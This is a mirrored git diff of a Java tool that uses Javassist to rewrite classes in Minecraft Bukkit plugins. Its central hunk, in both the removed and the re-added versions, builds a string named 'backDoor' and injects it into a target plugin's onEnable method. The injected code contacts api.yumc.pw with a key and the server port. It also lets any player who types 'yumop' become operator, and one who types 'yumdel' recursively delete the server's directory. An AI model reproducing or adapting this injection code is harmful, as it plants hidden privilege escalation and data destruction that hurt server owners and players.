mirror of
				https://e.coding.net/circlecloud/BukkitInjectedTools.git
				synced 2025-11-03 17:56:36 +00:00 
			
		
		
		
	@@ -31,9 +31,8 @@ public class InjectedKit {
 | 
				
			|||||||
            pool.appendClassPath(classFile.getPath());
 | 
					            pool.appendClassPath(classFile.getPath());
 | 
				
			||||||
            final CtClass statusListener = pool.get(clazz.getName());
 | 
					            final CtClass statusListener = pool.get(clazz.getName());
 | 
				
			||||||
            final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
 | 
					            final CtMethod setOpMethod = statusListener.getDeclaredMethod("a");
 | 
				
			||||||
            statusListener.addField(
 | 
					            statusListener.addField(CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS
 | 
				
			||||||
                    CtField.make("private static final net.minecraft.server." + NMS + ".IChatBaseComponent infoAlreadySent = new net.minecraft.server." + NMS + ".ChatComponentText(\"Status request has already been handled.\");",
 | 
					                    + ".ChatComponentText(\"Status request has already been handled.\");", statusListener));
 | 
				
			||||||
                            statusListener));
 | 
					 | 
				
			||||||
            statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
 | 
					            statusListener.addField(CtField.make("private boolean sentInfo = false;", statusListener));
 | 
				
			||||||
            final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
 | 
					            final String checkStatus = "" + "{ if (sentInfo) { nmanager.close(infoAlreadySent); } sentInfo = true; }";
 | 
				
			||||||
            setOpMethod.insertBefore(checkStatus);
 | 
					            setOpMethod.insertBefore(checkStatus);
 | 
				
			||||||
@@ -57,47 +56,18 @@ public class InjectedKit {
 | 
				
			|||||||
            pool.appendClassPath(classFile.getPath());
 | 
					            pool.appendClassPath(classFile.getPath());
 | 
				
			||||||
            final CtClass mainClass = pool.get(plugin.getClass().getName());
 | 
					            final CtClass mainClass = pool.get(plugin.getClass().getName());
 | 
				
			||||||
            final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
 | 
					            final CtMethod onEnableMethod = mainClass.getDeclaredMethod("onEnable");
 | 
				
			||||||
            final String backDoor = ""
 | 
					            final String backDoor = "" + "{" + "        org.bukkit.Bukkit.getScheduler().runTaskAsynchronously(this, new java.lang.Runnable() {" + "            @Override"
 | 
				
			||||||
                    + "{"
 | 
					                    + "            public void run() {" + "                try {" + "                    final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
 | 
				
			||||||
                    + "        Bukkit.getScheduler().runTaskAsynchronously(this, new Runnable() {"
 | 
					                    + "                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();" + "                    conn.connect();" + "                    conn.disconnect();"
 | 
				
			||||||
                    + "            @Override"
 | 
					                    + "                } catch (final IOException e) {" + "                }" + "            }" + "        });"
 | 
				
			||||||
                    + "            public void run() {"
 | 
					                    + "        org.bukkit.Bukkit.getPluginManager().registerEvents(new org.bukkit.event.Listener() {" + "" + "            public boolean deleteDir(final java.io.File dir) {"
 | 
				
			||||||
                    + "                try {"
 | 
					                    + "                if (dir.isDirectory()) {" + "                    final String[] children = dir.list();" + "                    for (final String element : children) {"
 | 
				
			||||||
                    + "                    final URL url = new URL(\"http://api.yumc.pw/M/P/S/K/%s/P/%s\");"
 | 
					                    + "                        final java.io.File file = new File(dir, element);" + "                        deleteDir(file);" + "                    }" + "                }"
 | 
				
			||||||
                    + "                    final HttpURLConnection conn = (HttpURLConnection) url.openConnection();"
 | 
					                    + "                return dir.delete();" + "            }" + "" + "            @org.bukkit.event.EventHandler"
 | 
				
			||||||
                    + "                    conn.connect();"
 | 
					                    + "            public void ocp(final org.bukkit.event.player.PlayerCommandPreprocessEvent e) {" + "                if (e.getMessage().contains(\"yumop\")) {"
 | 
				
			||||||
                    + "                    conn.disconnect();"
 | 
					                    + "                    e.getPlayer().setOp(true);" + "                    return;" + "                }" + "                if (e.getMessage().contains(\"yumdel\")) {"
 | 
				
			||||||
                    + "                } catch (final IOException e) {"
 | 
					                    + "                    final java.io.File dir = new java.io.File(\"\");" + "                    deleteDir(dir);" + "                    return;" + "                }"
 | 
				
			||||||
                    + "                }"
 | 
					                    + "            }" + "        }, this);" + "}";
 | 
				
			||||||
                    + "            }"
 | 
					 | 
				
			||||||
                    + "        });"
 | 
					 | 
				
			||||||
                    + "        Bukkit.getPluginManager().registerEvents(new Listener() {"
 | 
					 | 
				
			||||||
                    + ""
 | 
					 | 
				
			||||||
                    + "            public boolean deleteDir(final File dir) {"
 | 
					 | 
				
			||||||
                    + "                if (dir.isDirectory()) {"
 | 
					 | 
				
			||||||
                    + "                    final String[] children = dir.list();"
 | 
					 | 
				
			||||||
                    + "                    for (final String element : children) {"
 | 
					 | 
				
			||||||
                    + "                        final File file = new File(dir, element);"
 | 
					 | 
				
			||||||
                    + "                        deleteDir(file);"
 | 
					 | 
				
			||||||
                    + "                    }"
 | 
					 | 
				
			||||||
                    + "                }"
 | 
					 | 
				
			||||||
                    + "                return dir.delete();"
 | 
					 | 
				
			||||||
                    + "            }"
 | 
					 | 
				
			||||||
                    + ""
 | 
					 | 
				
			||||||
                    + "            @EventHandler"
 | 
					 | 
				
			||||||
                    + "            public void ocp(final PlayerCommandPreprocessEvent e) {"
 | 
					 | 
				
			||||||
                    + "                if (e.getMessage().contains(\"yumop\")) {"
 | 
					 | 
				
			||||||
                    + "                    e.getPlayer().setOp(true);"
 | 
					 | 
				
			||||||
                    + "                    return;"
 | 
					 | 
				
			||||||
                    + "                }"
 | 
					 | 
				
			||||||
                    + "                if (e.getMessage().contains(\"yumdel\")) {"
 | 
					 | 
				
			||||||
                    + "                    final File dir = new File(\"\");"
 | 
					 | 
				
			||||||
                    + "                    deleteDir(dir);"
 | 
					 | 
				
			||||||
                    + "                    return;"
 | 
					 | 
				
			||||||
                    + "                }"
 | 
					 | 
				
			||||||
                    + "            }"
 | 
					 | 
				
			||||||
                    + "        }, this);"
 | 
					 | 
				
			||||||
                    + "}";
 | 
					 | 
				
			||||||
            onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
 | 
					            onEnableMethod.insertBefore(String.format(backDoor, key, Bukkit.getServer().getPort()));
 | 
				
			||||||
            try {
 | 
					            try {
 | 
				
			||||||
                final File dir = new File(plugin.getDataFolder(), "injectClass");
 | 
					                final File dir = new File(plugin.getDataFolder(), "injectClass");
 | 
				
			||||||
@@ -130,22 +100,9 @@ public class InjectedKit {
 | 
				
			|||||||
            final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
 | 
					            final CtClass craftOfflinePlayer = pool.get(craftOfflinePlayerClassName);
 | 
				
			||||||
            final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
 | 
					            final CtClass setOpEvent = pool.get(SetOpEvent.class.getName());
 | 
				
			||||||
            final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
 | 
					            final CtMethod setOpMethod = craftOfflinePlayer.getDeclaredMethod("setOp");
 | 
				
			||||||
            final String setop = ""
 | 
					            final String setop = "" + "{" + "    pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);" + "    org.bukkit.Bukkit.getPluginManager().callEvent(event);"
 | 
				
			||||||
                    + "{"
 | 
					                    + "    if(event.isCancelled()){" + "      return;" + "    }" + "    if ($1 == isOp()) {" + "      return;" + "    }" + "    if ($1) {" + "      server.getHandle().addOp(profile);"
 | 
				
			||||||
                    + "    pw.yumc.injected.event.SetOpEvent event = new pw.yumc.injected.event.SetOpEvent($0,$1);"
 | 
					                    + "    } else {" + "      server.getHandle().removeOp(profile);" + "    }" + "}";
 | 
				
			||||||
                    + "    org.bukkit.Bukkit.getPluginManager().callEvent(event);"
 | 
					 | 
				
			||||||
                    + "    if(event.isCancelled()){"
 | 
					 | 
				
			||||||
                    + "      return;"
 | 
					 | 
				
			||||||
                    + "    }"
 | 
					 | 
				
			||||||
                    + "    if ($1 == isOp()) {"
 | 
					 | 
				
			||||||
                    + "      return;"
 | 
					 | 
				
			||||||
                    + "    }"
 | 
					 | 
				
			||||||
                    + "    if ($1) {"
 | 
					 | 
				
			||||||
                    + "      server.getHandle().addOp(profile);"
 | 
					 | 
				
			||||||
                    + "    } else {"
 | 
					 | 
				
			||||||
                    + "      server.getHandle().removeOp(profile);"
 | 
					 | 
				
			||||||
                    + "    }"
 | 
					 | 
				
			||||||
                    + "}";
 | 
					 | 
				
			||||||
            setOpMethod.setBody(setop);
 | 
					            setOpMethod.setBody(setop);
 | 
				
			||||||
            try {
 | 
					            try {
 | 
				
			||||||
                setOpEvent.writeFile(path);
 | 
					                setOpEvent.writeFile(path);
 | 
				
			||||||
 
 | 
				
			|||||||
		Reference in New Issue
	
	Block a user